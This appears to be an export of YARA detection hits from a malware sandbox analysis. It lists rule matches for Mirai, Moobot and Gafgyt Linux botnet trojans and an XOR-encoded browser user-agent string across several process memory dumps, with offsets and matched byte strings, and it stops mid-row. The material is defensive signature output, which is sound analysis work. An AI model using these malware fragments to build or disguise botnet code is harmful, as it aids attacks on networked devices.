7064.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7064.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6612.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6612.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6612.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6612.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6612.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6612.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6449.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6670.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6334.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6272.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6319.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6802.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6802.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6802.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6802.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6802.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6802.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6669.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7065.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7065.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7065.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7065.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7065.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7065.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6517.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6517.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6517.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6517.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6517.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6517.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7069.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7441.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7441.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7441.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7441.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7441.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 